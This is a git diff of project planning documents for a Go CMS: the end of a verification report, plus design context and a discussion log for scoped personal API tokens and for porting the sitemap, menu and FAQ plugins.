+| htmlPolicy gains only the four editor rules; the layer mirrors the same four | Holds. Diff 2384a61 and htmlGate.ts:122-127 |
+| Public write API and media route keep the PHP contract | Holds. Posts still go through FormatHTML in the API helpers, and media.go keeps its error mapping through MediaError |
+| No format flag, column or migration | Holds. No migration commit in updates/ during the phase |
+| Executor ran only SELECTs on UAT; no credentials handled; no tag moved | Taken from the SUMMARY; the tags are unmoved on origin |
+| Tests not weakened | Taken from the SUMMARY: the 16.1 policy test files are unchanged since c60abc6 |
+
+### Anti-Patterns Found
+
+| File | Line | Pattern | Severity | Impact |
+|------|------|---------|----------|--------|
+| (none) | | No TBD, FIXME, XXX, TODO or HACK marker in the phase's source files | | |
+
+Known open review items, skipped by decision (16.2-REVIEW-FIX.md):
+- WR-07: View site uses the admin origin.
+- WR-08: the gate passes with postgres NOT RUN; `PHASE162_REQUIRE_POSTGRES=1` enforces it.
+- IN-01 to IN-03 and IN-05 to IN-08.
+
+These are information only and do not block.
+
+### Human Verification Required
+
+#### 1. Postgres suites on a Docker host
+
+**Test:** `bash scripts/check-phase16.2.sh postgres`
+**Expected:** Every named suite passes. This covers WINDOWS 11, 12, 14 to 16, 20 and 21.
+**Why human:** No Docker on this host. These suites are the only end-to-end proof of the CR-01 and WR-04 Load changes and of the category strip.
+
+#### 2. D-19 category edit on UAT
+
+**Test:** Change one word of a category's content in the Blog Editor and save.
+**Expected:** No removal notice; the site shows the change.
+**Why human:** WINDOWS 18; never performed.
+
+#### 3. Re-confirm the untouched resave after the review-fix deploy
+
+**Test:** After v0.1.19 is deployed, save posts 1 and 64 untouched and re-run the md5 SELECT.
+**Expected:** The md5 values equal the 16.2-05 snapshot.
+**Why human:** The UAT proof ran on v0.1.18, before the CR-01 and WR-04 Load changes. The code reading says the outcome is unchanged for these posts.
+
+#### 4. Preview pane browser check
+
+**Test:** Check the layout, the sandbox (script in a raw block), the embed card and relative images.
+**Expected:** As listed in the 261010-iwu SUMMARY.
+**Why human:** Real browser behaviour.
+
+#### 5. Accept the preview iframe against the plan 02 prohibition
+
+**Test:** Decide whether the sandboxed srcdoc preview is an accepted exception to "no iframe in the admin".
+**Expected:** Accept, or ask for a change.
+**Why human:** Judgment-tier prohibition.
+
+### Gaps Summary
+
+No must-have failed. The framework API (pact.HasFormFieldTypes, the cabana registry, the decode/skip/load/list runner, meta.notices, the upload route), the SPA host, the Journal Blog Editor (element, Go types, policy, hooks, storage) and the layer's embed expansion all exist, are substantive and are wired. The fixed tree passes the phase gate here, and vet is clean in both Go repositories. On UAT (v0.1.18) the goal was proven on real data:
+- An imported HTML post and a markdown post re-saved untouched with identical md5.
+- An edited post stored identical content and content_html, with an uploaded figure and a YouTube placeholder.
+- Disallowed markup was stripped and reported.
+- The site rendered a youtube-nocookie iframe.
+
+Status is `human_needed`, not `passed`, for three reasons:
+- The Docker-only Postgres suites have never run.
+- The D-19 category path has no executed end-to-end evidence: no Postgres run and no UAT step.
+- The review fixes (CR-01, WR-01 to WR-06, IN-04) are committed but not deployed or tagged, so the UAT evidence predates them. summercms.go master is 13 commits ahead of origin, and the sm-journal-plugin test and fix commits are not pushed either.
+
+---
+
+_Verified: 2026-10-10T17:05:00Z_
+_Verifier: Claude (msd-verifier)_

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/COVERAGE.md

@@ -0,0 +1 @@
+No external API integration: internal pact field-type API, admin routes and a Journal editor; YouTube is only a fixed iframe host for stored placeholders, with no API calls.

.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/.gitkeep

@@ -0,0 +1 @@
+

.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-CONTEXT.md

@@ -0,0 +1,145 @@
+# Phase 16.3: Backend admin personal API tokens with scopes - Context
+
+**Gathered:** 2026-10-10
+**Status:** Ready for planning
+
+<domain>
+## Phase Boundary
+
+Backend users can create personal API tokens (`g15_…`) with one or more scopes picked at creation time. The framework `backend` guard accepts such a token as well as the admin JWT, and the request runs as the token's owner. Access is the intersection of the token's scopes and the owner's own permissions. Tokens are managed in the admin SPA (`/account`, own tokens) and through `summer admin:token:*` CLI commands (any user). The Journal plugin registers its scopes and accepts tokens on its write routes, so an agent can manage blog posts as a backend author.
+
+Repos: `summercms.go` (cabana/bouncer guard, token model and migration, scope registry, account API, admin SPA panel, CLI, READMEs and docs); `sm-journal-plugin` (scope registration, switch to the framework principal helper); host applications only for the version bump.
+
+Out of scope: a backend-user management screen, a superuser view of all tokens, migrating Apparatus tokens, Payment and Fonoteka scopes (they register through the same API when their phases need them).
+
+</domain>
+
+<decisions>
+## Implementation Decisions
+
+### Scope model
+- **D-01:** Scopes are named and registered by plugins through a new pact capability (working name `pact.HasTokenScopes`). Each scope has a name, a label and description (phrasebook keys), a list of permission patterns (Winter `.*` wildcard semantics, Phase 9 D-03) and a list of allowed HTTP methods. The naming convention is `<plugin>` for full access and `<plugin>:read` for read-only, e.g. `journal` → `golem15.journal.*` with all methods. A duplicate scope name fails boot loudly. — **Reversibility:** costly — plugins implement the capability and stored tokens reference scope names.
+- **D-02:** Read-only is enforced by the scope's method list. A `:read` scope allows only `GET`/`HEAD`, and the framework refuses any other method with 403 before the handler runs. Plugins do not change their handlers for this. A POST that only reads (search) is not reachable with a read scope; that is accepted.
+- **D-03:** A token holds several scopes. A request passes if any one scope allows it, meaning its method list includes the request method and its patterns match every required permission. Scopes are immutable after creation.
+- **D-04:** Framework scopes:
+  - `*` means full access: all methods, and it behaves exactly like the owner.
+  - `admin:read` means system-wide read-only: `GET`/`HEAD` on everything the owner can see.
+
+  Journal registers `journal` and `journal:read`. Payment (`payment:read`) and Fonoteka scopes come with their own phases through the same API.
+- **D-05:** Deny by default. A token reaches a route only when a scope covers it. When `cabana.Allows` is called with an empty permission list under a token, only `*` (and `admin:read` for GET/HEAD) passes; other scoped tokens are refused. `GET /auth/me` is always allowed to any valid token, so an agent can see who it is.
+- **D-06:** An explicit "interactive only" marker covers account changes (`PUT /account`, password, email, avatar), token management (create, list, revoke) and logout/refresh. These routes refuse every token, including `*`, and need an admin JWT session. A leaked token cannot take over the account or mint new tokens. — **Reversibility:** reversible.
+
+### Token lifecycle
+- **D-07:** The format keeps the Apparatus shape: `g15_` + 40 lowercase hex chars (20 random bytes from `crypto/rand`, 160 bits). Only the sha256 hex is stored, in a unique indexed column, along with the last 4 characters as a display hint (`g15_…a1b2`). There is no checksum suffix. — **Reversibility:** one-way — issued tokens live in agent and integration configs.
+- **D-08:** Expiry is optional. The SPA picker offers 30 / 90 / 365 days / never, defaulting to 90 days. The CLI accepts `--expires=30d|90d|365d|never` or a date, also defaulting to 90 days. Expired tokens return 401.
+- **D-09:** Revoking is a soft revoke. It sets `revoked_at` and `revoked_by` and keeps the row for audit. Revoked tokens return 401 and are hidden from the default list, with an option to show them. Name, scopes and expiry cannot be edited: to change one, create a new token and revoke the old one.
+- **D-10:** The owner is loaded fresh on every request through the existing `BackendUsers.FindByID` path. Deactivating (`is_activated=false`) or soft-deleting the owner makes all their tokens fail with 401. A password reset and the JWT `tokens_valid_after` cutoff do **not** invalidate tokens, so routine password changes don't break agents.
+- **D-11:** `last_used_at` is stamped on use, at most once per minute per token, so every request isn't a write. Lists show name, scopes, hint, `created_at`, `last_used_at`, `expires_at`, and revoked state.
+- **D-12:** The table is framework-owned. It is appended to `BackendAdminMigrations` (history id `summercms.cabana`) as a raw-SQL migration with a dated ID. Columns are roughly: id, backend_user_id (FK), name, token_hash (unique), token_hint, scopes (JSON array of names), expires_at, last_used_at, revoked_at, revoked_by, timestamps. Apparatus `golem15_apparatus_personal_api_tokens` rows are **not** migrated.
+
+### Guard and Journal wiring
+- **D-13:** The cabana `backend` guard becomes composite. `Authorization: Bearer g15_…` goes to the token lookup; everything else (Bearer JWT or the admin cookie) goes to the existing `NewBackendJWTGuard` path unchanged. Tokens are accepted only in the Bearer header, never from a cookie or query string. The token row is returned as the bouncer credential (`CredentialGuard`). — **Reversibility:** costly — every backend-authenticated route goes through it.
+- **D-14:** The permission side of the scope check lives in the principal. A token-authenticated `Principal` carries its scopes' permission patterns and methods, and `cabana.Allows` requires **both** an owner grant and a matching scope pattern. Every existing check (admin CRUD `RequiredPermissions`, actions, Journal's direct `Allows` calls) is restricted with no per-route annotation. A superuser holding a scoped token is still limited to the scope. The method check runs once, in the guard or middleware. — **Reversibility:** costly — `Allows` semantics change for every caller.
+- **D-15:** Cabana exports a principal resolver, working name `cabana.BackendPrincipal(r)` or similar, that runs the composite guard plus the scope and method checks for routes that don't sit under the `backend` middleware. Journal's `controllers/api/auth.go` uses it instead of building its own `NewBackendJWTGuard`. Journal's error bodies and status codes stay byte-identical (`{"error":"Authentication required"}` 401, its existing 403). The public read routes stay optional-auth, so a valid token with `journal` or `journal:read` also unlocks drafts where the owner may see them. This reverses Phase 15 D-15. — **Reversibility:** reversible.
+
+### Admin SPA and CLI
+- **D-16:** The SPA panel is an "API tokens" section on `/account` (`AccountView.vue`). It lists, creates and revokes the current user's own tokens only. There is no superuser view of other users' tokens; superusers use the CLI. The plaintext is shown once after creation with a copy button and a clear "you won't see this again" notice, and is never retrievable afterwards.
+- **D-17:** The scope picker lists registered scopes with label and description. It hides scopes that grant the current user nothing (no overlap between the scope's patterns and their grants). `*` is always shown, labelled as full access ("everything you can do"). The server re-validates scope names and the overlap rule on create (422 on an unknown or empty scope).
+- **D-18:** Account token endpoints sit under the admin API (Phase 9 D-09/D-10 envelope), for example `GET/POST /_admin/api/v1/account/tokens`, `DELETE /account/tokens/{id}` (revoke) and `GET /account/tokens/scopes`. They carry swag annotations so the OpenAPI document and the SPA TS types cover them, and they are interactive-only (D-06).
+- **D-19:** CLI commands in cabana, beside `admin:create`:
+  - `admin:token:create <login|email> --name=… --scope=journal [--scope=payment:read] [--expires=90d|never]` prints only the plaintext token to stdout so it can be piped.
+  - `admin:token:list [<login|email>] [--revoked]`
+  - `admin:token:revoke <id>`
+  - `admin:token:scopes` lists registered scopes.
+
+  The CLI may create tokens for any backend user and applies the same overlap validation as D-17.
+- **D-20:** Module READMEs (cabana, bouncer if its API changes, pact for the new capability) and the `docs/` pages cover the token API, the scope registration capability, the framework scopes and the CLI commands, per the project documentation rules. The Journal README documents its scopes and token auth.
+
+### Claude's Discretion
+- Exact names: the pact capability, the scope struct, the principal resolver, the table (`backend_api_tokens` or similar), and the interactive-only marker.
+- How scopes are stored (JSON array vs `text[]`), and what an unknown scope name does at request time after a plugin drops it. Recommended: it grants nothing and is shown as unknown in lists.
+- How the 403 for a scope refusal is reported in the framework envelope (e.g. `details.reason = "token_scope"`).
+- Whether token requests get their own throttle bucket; reuse an existing throttle shape if cheap.
+- How `last_used_at` is debounced (in-memory per process is fine).
+
+</decisions>
+
+<canonical_refs>
+## Canonical References
+
+**Downstream agents MUST read these before planning or implementing.**
+
+### Phase origin and prior decisions
+- `.planning/ROADMAP.md` § Phase 16.3 — goal, repos, explore constraints, success criteria
+- `.planning/todos/pending/backend-admin-api-tokens.md` — the todo this phase was promoted from
+- `.planning/notes/apparatus-dissolved-into-framework.md` — why tokens are a framework feature, not an Apparatus port
+- `.planning/phases/09-backend-admin-authentication-and-schema-pipeline/09-CONTEXT.md` — D-01..D-04 (backend users, `backend` guard, permission semantics, `admin:create`), D-09/D-10 (admin API paths and envelope)
+- `.planning/phases/15-journal-plugin/15-CONTEXT.md` — D-14/D-15 (Journal write API and the backend-JWT-only rule this phase reverses)
+
+### Reference implementation (behavioral, not ported 1:1)
+- `/media/nvme/dev/golem15/fonoteka/plugins/golem15/apparatus/models/PersonalApiToken.php` — `g15_` + 40 hex, sha256 storage, expiry, last_used_at
+- `/media/nvme/dev/golem15/fonoteka/plugins/golem15/apparatus/middleware/TokenAuthenticate.php` — Bearer lookup, expiry, owner check
+- `/media/nvme/dev/golem15/fonoteka/plugins/golem15/apparatus/Plugin.php` (~lines 335-400) — My Account "API Tokens" tab and create/revoke handlers
+
+### Pattern to copy (Go)
+- `../sm-summercmsio-app/plugins/golem15/user/middleware/api_token.go` — `APITokenGuard`: prefix check, sha256 lookup, last_used stamp, `Scope()` middleware
+- `../sm-summercmsio-app/plugins/golem15/user/classes/api_tokens.go` — `MintAPIToken`, `HashAPIToken`
+- `../sm-summercmsio-app/plugins/golem15/user/models/api_token.go` — `HasScope`
+- `../sm-summercmsio-app/plugins/golem15/user/updates/202610040001_create_api_tokens.go` — token table migration
+
+</canonical_refs>
+
+<code_context>
+## Existing Code Insights
+
+### Reusable Assets
+- `modules/bouncer/guard.go`: `Guard`, `CredentialGuard`. `modules/bouncer/context.go`: `Principal` (`Backend`, `IsSuperuser`, `PermissionGrants`), `WithUser`, `WithCredential`.
+- `modules/bouncer/jwt.go`: `NewBackendJWTGuard` (:94), `Authenticate` (:106), `bearerToken` (:314). The JWT path stays as-is behind the composite guard.
+- `modules/cabana/auth.go`: `BackendUsers.FindByID` (:40) and `principalFrom` (:103). These are the owner-loading path, already merging role and user grants.
+- `modules/cabana/contracts.go`: `Allows` (:186) and `requiredOf` (:237). This is where scope intersection lands (D-14).
+- `modules/wristband/crypto.go:26-31`: `sha256Hex` and a constant-time compare.
+- `modules/cabana/commands.go`: `admin:create` (:18) and `admin:reset-password` (:107). The new `admin:token:*` commands go beside them.
+- `modules/cabana/account.go` plus `admin/src/views/AccountView.vue`: the existing account API and page that host the tokens panel.
+
+### Established Patterns
+- Plugin capabilities are optional pact interfaces compiled by cabana at boot (`modules/pact/capabilities.go:494` `HasPermissions`, compiled in `modules/cabana/registry.go:182-200`). `HasTokenScopes` follows the same path, including fail-loud validation.
+- Framework-owned migrations are raw-SQL entries appended to `BackendAdminMigrations` (`modules/lagoon/backend_admin_migrations.go:21`).
+- Admin API handlers carry swag annotations; SPA types are generated from OpenAPI.
+- Permission checks happen in handlers, not in route middleware, which is why the scope check belongs in `Allows` and not in per-route annotations.
+
+### Integration Points
+- `modules/cabana/http.go:145-159`: where the `backend` guard is built and registered. The composite guard wraps it here.
+- `modules/bouncer/registry.go:73-113`: `Registry.Middleware` already prefers `CredentialGuard`, so the token row arrives as the credential.
+- `modules/cabana/http.go:245-249`: `/auth/me` and the `/account` routes. The token endpoints and the interactive-only marker go here.
+- `../sm-journal-plugin/controllers/api/auth.go`: `newBackendGuard` (:58), `requireBackendPrincipal` (:99) and `requireAccessPosts` (:113) switch to the cabana resolver (D-15). `posts.go` Index/Show `optionalBackendPrincipal` (:32, :121) do the same.
+- `../sm-journal-plugin/admin_permissions.go:9`: the permission catalog the `journal` scopes map onto.
+
+### Noted during scouting (verify, don't assume)
+- Journal `UploadFeaturedImage` / `DeleteFeaturedImage` (`posts.go:325, :393`) authenticate, but a permission check was not confirmed. Check it while wiring tokens, because a `journal:read` token must not reach them (the method rule covers this, but the permission gap would be a separate bug).
+- Journal's per-user throttle key (`plugin.go:88`) reads `bouncer.User` before any guard runs and likely always falls back to the client IP.
+
+</code_context>
+
+<specifics>
+## Specific Ideas
+
+- Main use case: an agent manages Journal blog posts as a backend author using a `journal`-scoped token. Later, a reporting agent reads Payment Gateway data with `payment:read`.
+- The token panel follows the Apparatus/Winter "My Account → API Tokens" placement.
+- CLI `admin:token:create` output is pipe-friendly (only the token on stdout).
+
+</specifics>
+
+<deferred>
+## Deferred Ideas
+
+- Backend-user management screen, including a superuser view and revoke of other users' tokens: its own phase.
+- `payment:read` scope: registered by the Payment Gateway phase (18.x) through D-01.
+- Fonoteka scopes: when a Fonoteka integration needs token access.
+- Secret-scanner-friendly checksum token format: only if a scanner partnership is pursued.
+
+</deferred>
+
+---
+
+*Phase: 16.3-backend-admin-personal-api-tokens-with-scopes*
+*Context gathered: 2026-10-10*

.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-DISCUSSION-LOG.md

@@ -0,0 +1,118 @@
+# Phase 16.3: Backend admin personal API tokens with scopes - Discussion Log
+
+> **Audit trail only.** Do not use as input to planning, research, or execution agents.
+> Decisions are captured in CONTEXT.md — this log preserves the alternatives considered.
+
+**Date:** 2026-10-10
+**Phase:** 16.3-backend-admin-personal-api-tokens-with-scopes
+**Areas discussed:** Scope model, Token lifecycle, Guard & Journal wiring, SPA panel & CLI
+
+---
+
+## Scope model
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Named scopes, plugin-registered | Plugins register scopes mapping to permission patterns; framework `*` | ✓ |
+| Scope = permission patterns | Token stores raw permission patterns | |
+| Coarse fixed set | read/write/* like user plugin tokens | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Scope declares methods + patterns | Read scopes allow GET/HEAD only, enforced before handler | ✓ |
+| Read-only permission subset | Read scope maps to view-type permissions | |
+| Both | Methods and permission subset | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Several | Token stores a list; any scope allowing passes | ✓ |
+| Exactly one | One scope per token | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Deny by default, except whoami | Only `/auth/me` open; account/token routes need interactive JWT even with `*` | ✓ |
+| `*` reaches everything | System-wide token can change account and mint tokens | |
+| Allow unchecked routes | Unguarded routes open to any token | |
+
+## Token lifecycle
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Optional, presets | 30/90/365/never, default 90 days | ✓ |
+| Required, capped | Must expire, max 1 year | |
+| Optional, no default | Apparatus as-is | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Owner deactivated or deleted | Password reset / tokens_valid_after do not kill tokens | ✓ |
+| Also on password reset / session cutoff | Tokens respect tokens_valid_after | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Soft revoke, immutable | revoked_at kept for audit; no edits | ✓ |
+| Hard delete, immutable | Apparatus behavior | |
+| Soft revoke, editable name/expiry | Rename and extend allowed | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Keep Apparatus shape + hint | g15_ + 40 hex, sha256, last-4 hint | ✓ |
+| Add checksum | GitHub-style base62 + CRC32 | |
+
+## Guard & Journal wiring
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Bearer header only | Composite guard; g15_ to token lookup, rest to JWT | ✓ |
+| Bearer + query param | Also ?token= | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Framework helper, keep Journal's envelope | cabana resolver replaces Journal's hand-built guard | ✓ |
+| Mount Journal writes under backend middleware | Changes Journal error shape | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Inside the principal / cabana.Allows | Allows intersects owner grants and scope patterns | ✓ |
+| Route middleware per scope | Routes declare RequireScope | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| `*` passes, scoped tokens denied | Empty permission list denied to scoped tokens; interactive-only marker | ✓ |
+| Scoped tokens pass too | Current Allows semantics | |
+
+## SPA panel & CLI
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| /account only, own tokens | Superusers use CLI for others | ✓ |
+| /account + superuser view | New admin screen | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Only scopes their permissions intersect | Hide useless scopes; `*` always shown; server re-checks | ✓ |
+| All registered scopes | Simpler | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| admin:token:create/list/revoke (+scopes) | Plaintext to stdout once | ✓ |
+| Fewer commands | create and revoke only | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| `*`, journal, journal:read | payment:read later | |
+| Also a framework `admin:read` | System-wide read-only scope | ✓ |
+
+## Claude's Discretion
+
+- Names of the capability, scope struct, resolver, table and interactive-only marker
+- Scope storage type and unknown-scope behavior
+- Scope-refusal 403 details
+- Token throttle bucket
+- last_used_at debounce mechanism
+
+## Deferred Ideas
+
+- Backend-user management screen with superuser token view
+- payment:read scope (Payment Gateway phase)
+- Fonoteka scopes
+- Checksum token format

.planning/phases/17-blog-companions/17-CONTEXT.md

@@ -0,0 +1,163 @@
+# Phase 17: Blog companions - Context
+
+**Gathered:** 2026-10-09
+**Status:** Ready for planning
+
+<domain>
+## Phase Boundary
+
+Port `Golem15.Sitemap`, `Golem15.Menu` and `Golem15.Faq` as shared plugins in their own repos: `sm-sitemap-plugin`, `sm-menu-plugin` and `sm-faq-plugin` under `git.golem15.com/golem15/`. The phase also adds four things:
+
+- **Framework (`summercms.go`):** a typed successor of the `pages.menuitem.listTypes`, `getTypeInfo` and `resolveItem` events, plus the cabana field and list features the three plugins' admin screens need.
+- **`sm-journal-plugin`:** registers its menu item types through the new registry, as an additive change.
+- **Nuxt:** two new layers, `vue-menu-layer` and `vue-faq-layer`.
+- **grzybyfunkcjonalne.pl:** the site moves its menu, FAQ and sitemap from app code to the plugins.
+
+Out of scope: a pages plugin (Winter.Pages), the sitemanager and blocks plugins, and the production cutover.
+
+</domain>
+
+<decisions>
+## Implementation Decisions
+
+### Menu-item type registry (framework)
+- **D-01:** The successor of `pages.menuitem.*` is an **optional capability interface**. It follows the `pact.Has*` pattern and could be named something like `HasMenuItemTypes`. A plugin returns typed `MenuItemType` values that carry their own info (label, reference options, nesting support) and a `Resolve` method. A framework registry collects them at boot. There are no stringly festival events for list, info or resolve. — **Reversibility:** costly — Journal, menu, sitemap and every later content plugin (pages, blog) implement this contract.
+- **D-02:** **Headless URLs come from patterns** such as `/blog/:post` and `/:category`, resolved in three layers. Each type declares a default pattern. The host config can override the pattern per type, and that override is how grzyby keeps its P16 D-15 URLs. A menu item or sitemap item can override it once more. — **Reversibility:** costly — the config keys and item fields become a published plugin contract.
+- **D-03:** **Resolved items carry per-locale alternates.** `Resolve` returns title, URL, mtime and a locale→URL alternates map, built from translate-plugin slugs. Nested `items` are returned for types that expand, such as `all-journal-categories`. Sitemap hreflang and localized menus both read these alternates. A single-locale site gets a single entry. — **Reversibility:** costly — the shape of the resolve result.
+- **D-04:** **Journal registers its 5 PHP types under the PHP keys:** `journal-category`, `all-journal-categories`, `journal-post`, `all-journal-posts` and `category-journal-posts`. The source is `Plugin.php` `extendWinterPagesPlugin` in the frozen Journal tree. This is an additive change to `sm-journal-plugin` and leaves its existing API untouched.
+- **D-05:** **Menu types are menu built-ins plus registry types.**
+  - `url` (link) and `divider` stay menu built-ins.
+  - Every content-backed type comes from the registry.
+  - PHP `blog_categories` maps to Journal's `all-journal-categories`.
+  - PHP `page` (Winter.Pages) is dropped.
+  - The import or DB copy maps the stored type values to the new ones.
+  - **Reversibility:** costly — stored type values in the menu tables.
+
+### Admin editing (framework first)
+- **D-06:** Close the cabana gaps **in `summercms.go` this phase**, following the P15 markdown-field pattern: generic features with fail-loud schema validation, the README and `docs/` updated, the admin OpenAPI and generated TS types refreshed, and `dist/` committed in the same change. — **Reversibility:** costly — new field types in the typed admin schema that later plugins will use.
+- **D-07:** **`repeater` field type.** It edits a JSON list stored in a jsonable column, with a nested `form.fields`. FAQ `content` (question/answer) uses it, and so do the sitemap Definition items (`data`).
+- **D-08:** **A dropdown with options that depend on a sibling field** (Winter's `dependsOn`). Its options come from a provider keyed on the value of the sibling `type` field and are served through the registry's type info. The sitemap repeater rows and the menu entry form use this same type/reference binding, so the registry has exactly one admin binding.
+- **D-09:** **Drag-and-drop tree reorder page.** It succeeds Winter's ReorderController and works on any `parent_id` + `sort_order` model, writing both columns. Menu entries use it, scoped to one menu. It replaces the PHP reorder screen and the "Children" partial.
+- **D-10:** **`richeditor` field type (HTML WYSIWYG)** in cabana and the SPA, which folds in the todo `cabana-richeditor-field-type.md`. The server sanitizes on save, the way Journal's `classes.CheckHTML` does, and the field must not bypass that gate. FAQ `description` and the repeater `answer` use it, matching PHP. Journal's category `content` switches from `textarea` to `richeditor`, as that todo asks. This decision replaces an earlier choice of the markdown field: the markdown preview drops raw HTML, so it can't show the imported PHP FAQ HTML. — **Reversibility:** costly — a new field type plus a JS editor dependency in the admin SPA.
+
+### Sitemap headless adaptation
+- **D-11:** **One definition per app.** The `theme` column stays so the schema is 1:1, filled with a fixed key. `/sitemap.xml` serves that single definition. The admin opens it directly, like a settings page, the same way PHP auto-created one definition per theme.
+- **D-12:** **Item types are URL plus registry types only.** Static Page, All Static Pages and the CMS Page field are dropped. In the user's words: "no static pages or cms pages, just URL items, we configure it like that in wintercms sitemap plugin on horoskopia etc". `updates_manifest_path` is ported 1:1 as an optional setting.
+- **D-13:** **Priority tiers stay, with configurable patterns.** `enable_priority_tiers` and the tier values port unchanged. The tier path patterns move from code to settings or host config. The PHP golem15.com patterns (`/uslugi`, `/realizacje`, legal pages and so on) become documented defaults or an example, not hardcoded behavior. A site configured the same way must produce the same output as PHP.
+- **D-14:** `sitemap.xml` and `sitemap.xsl` keep their PHP behavior:
+  - the `frontend_url` rewrite of `<loc>`, of `xhtml:link href` and of the XSL href
+  - `frontend_default_locale`
+  - the 50,000 URL limit
+  - XML escaping
+
+  The PHP `tests/security` cases (`XmlEscapingTest`, `MassAssignmentTest`) are a behavioral spec. The `golem15.sitemap.beforeAddItem` and `addItem` hooks become typed festival events (planner's call on shape).
+- **D-15:** **grzybyfunkcjonalne.pl switches to the plugin's sitemap.** nginx routes `/sitemap.xml` and `/sitemap.xsl` to Go, the Nuxt `@nuxtjs/seo` sitemap module is disabled in the app (or layer config), and editors manage the sitemap in `/gfadmin`. This reverses **P16 D-13** for the sitemap only; per-post meta, OG, canonical and robots stay on `@nuxtjs/seo`. — **Reversibility:** reversible — the nginx route and the Nuxt module toggle.
+
+### Public APIs + Nuxt consumption
+- **D-16:** **Menu API: `GET /_menu/api/v1/menus/{code}`**, mirroring `/_journal/api/v1`, anonymous. It returns the published, nested tree with registry types already resolved: URLs built, expanding types expanded into child items, plus title, target, css_class, icon and code. The Nuxt side only renders, and computes the active state from the current route. — **Reversibility:** one-way — a published API that the layers and later sites consume.
+- **D-17:** **FAQ API: `GET /_faq/api/v1/faqs/{slug}?locale=pl`**, active rows only. It returns name, slug, description and content `[{question, answer}]`, with HTML sanitized server-side. The `locale_id` → translate `Locale` relation stays 1:1 (one FAQ row per locale), and the locale defaults to the app default. — **Reversibility:** one-way — published API.
+- **D-18:** **Sibling Nuxt layers `vue-menu-layer` and `vue-faq-layer`**, new repos under `git.golem15.com/golem15/`. They use the same distribution as `vue-journal-layer` (P16 D-02 to D-04: pnpm git dependency pinned to a tag, a neutral design driven by CSS tokens, components the app can override). Each one mirrors one plugin, so a site without a blog can use them without Journal. Each ships a typed client and render components. — **Reversibility:** costly — repo and distribution layout.
+- **D-19:** **grzyby data is copied from the PHP DB.** Tables keep their PHP names and columns, so rows for the menu, the FAQ (slug `what-mushrooms-can-give-you`) and the sitemap definition are copied from the live Winter DB as a scripted, ordered migration step, the same way P16 handles its import. Menu and sitemap type values are mapped (D-05). After the copy, the P16 typed menu config and the static FAQ content are removed from `vue-grzybyfunkcjonalne-app`, which then uses the new layers.
+
+### Claude's Discretion
+- Go package, module and identifier names for the registry, and whether it lives in `pact` (interface) plus an existing or new module (registry), provided D-01 to D-03 hold and the module README and docs are updated.
+- Config key names for the per-type URL patterns and for the priority tier patterns.
+- The exact JSON field names in the menu and FAQ responses, provided they cover the fields listed in D-16 and D-17.
+- Which JS WYSIWYG editor the SPA uses for `richeditor`. It must be stdlib-first-compatible and add no Go dependency; if an npm dependency is needed, name it in research.
+- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan". The framework work (registry plus cabana features) likely lands first and gets a framework tag.
+- Whether the PHP sitemap `ImportCommand` JSON format is kept byte-compatible. Default: yes, port 1:1.
+- Admin permissions and navigation for the three plugins follow the PHP `Plugin.php` registrations.
+- Run the security-review agent: the phase adds public HTTP endpoints and an HTML-accepting field type.
+
+### Folded Todos
+- `sitemap-plugin-port.md`: the Golem15.Sitemap 1:1 port, adapted per D-11 to D-15.
+- `menu-plugin-port.md`: the Golem15.Menu port with a public read API, per D-05, D-09 and D-16.
+- `faq-plugin-port.md`: the Golem15.Faq port with a read API by slug, per D-07, D-10 and D-17.
+- `cabana-richeditor-field-type.md`: the cabana `richeditor` field, plus switching the Journal category content to it (D-10).
+
+</decisions>
+
+<canonical_refs>
+## Canonical References
+
+**Downstream agents MUST read these before planning or implementing.**
+
+### Roadmap and decisions
+- `.planning/ROADMAP.md` § Phase 17: goal, repos, port sources, success criteria
+- `.planning/notes/core-plugins-own-repos.md`: the `sm-<name>-plugin` repo, module path, submodule and `go.work` layout, and the submodule commit workflow
+- `.planning/notes/core-plugin-port-inventory.md`: port order and plugin sizes
+- `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md`: D-02 to D-04 (layer distribution), D-09 (`/gfadmin`, nginx split), D-12 (menu and FAQ in the app for now), D-13 (sitemap via `@nuxtjs/seo`, reversed for the sitemap by D-15 here), D-15 (URLs), D-17 and D-25 (migration ordering)
+- `.planning/phases/15-journal-plugin/15-CONTEXT.md`: D-11 (the markdown-field framework-first pattern), D-14 (the `/_journal/api/v1` convention), D-21 to D-23 (local checkouts)
+
+### Todos (folded)
+- `.planning/todos/pending/sitemap-plugin-port.md`
+- `.planning/todos/pending/menu-plugin-port.md`
+- `.planning/todos/pending/faq-plugin-port.md`
+- `.planning/todos/pending/cabana-richeditor-field-type.md`
+
+### PHP port sources
+- `/media/nvme/dev/golem15/fonoteka/plugins/golem15/sitemap/`: `models/Definition.php` (generation, events, frontend rewrite), `classes/DefinitionItem.php`, `routes.php`, `models/settings/fields.yaml`, `console/ImportCommand.php`, `assets/sitemap.xsl`, `tests/security/*`, `README.md`
+- `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/plugins/golem15/menu/`: `models/{Menu,MenuEntry}.php`, `models/*/fields.yaml`, `updates/*` (schema), `components/Menu.php`, `controllers/menuentries/reorder_config.yaml`
